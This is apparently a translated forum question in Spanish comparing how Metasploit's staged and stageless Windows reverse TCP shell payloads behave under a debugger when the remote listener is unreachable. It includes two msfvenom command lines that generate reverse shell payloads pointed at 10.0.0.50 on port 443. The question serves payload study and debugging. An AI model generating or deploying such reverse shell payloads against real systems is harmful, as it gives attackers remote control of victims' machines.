Diferencia entre “windows / shell_reverse_tcp” y “windows / shell / reverse_tcp” Comportamiento de salida

Las 2 cargas de Metasploit anteriores se utilizan para crear una shell inversa de un sistema a otro. La diferencia entre ellos se explica claramente aquí enlace

Sin embargo, estoy tratando de entender cómo actuarán ambas cargas útiles si el sistema al que están tratando de conectarse no es accesible.

por ejemplo:

msfvenom -p windows/shell_reverse_tcp LHOST=10.0.0.50 LPORT=443

y

msfvenom -p windows/shell/reverse_tcp LHOST=10.0.0.50 LPORT=443

intentará conectarse a "10.0.0.50". La pregunta es cómo actuará cada carga útil si "10.0.0.50" no está escuchando en el puerto "443".

Ambas cargas útiles utilizan EXITFUNC process , sin embargo, cuando las ejecuto dentro de un depurador y coloco un punto de interrupción en la última instrucción del código de shell, obtuve resultados diferentes.

Veo que ambos utilizan "mswsock.dll" al intentar conectarse al sistema remoto, una vez que se agotó el tiempo de espera (el valor predeterminado es de 5 segundos):

• shell_reverse_tcp mostrará "proceso terminado" dentro del depurador y EIP apunta a ntdll.KiFastSystemCallRet . El punto de ruptura nunca será alcanzado
• por otro lado, shell/reverse_tcp llegará al punto de interrupción al final del código de shell

Notas:

• Confirmé que ambas cargas útiles funcionan bien conectándose correctamente al sistema remoto si está escuchando en el puerto preconfigurado.
• shell_reverse_tcp llega al punto de interrupción solo si primero pudo conectarse al sistema remoto. Después de salir de la shell en el sistema remoto usando exit dentro de CMD, el punto de interrupción será alcanzado.

¿Alguna idea de por qué uno está llegando al punto de interrupción y otro no si no se puede acceder al oyente remoto?

Gracias de antemano.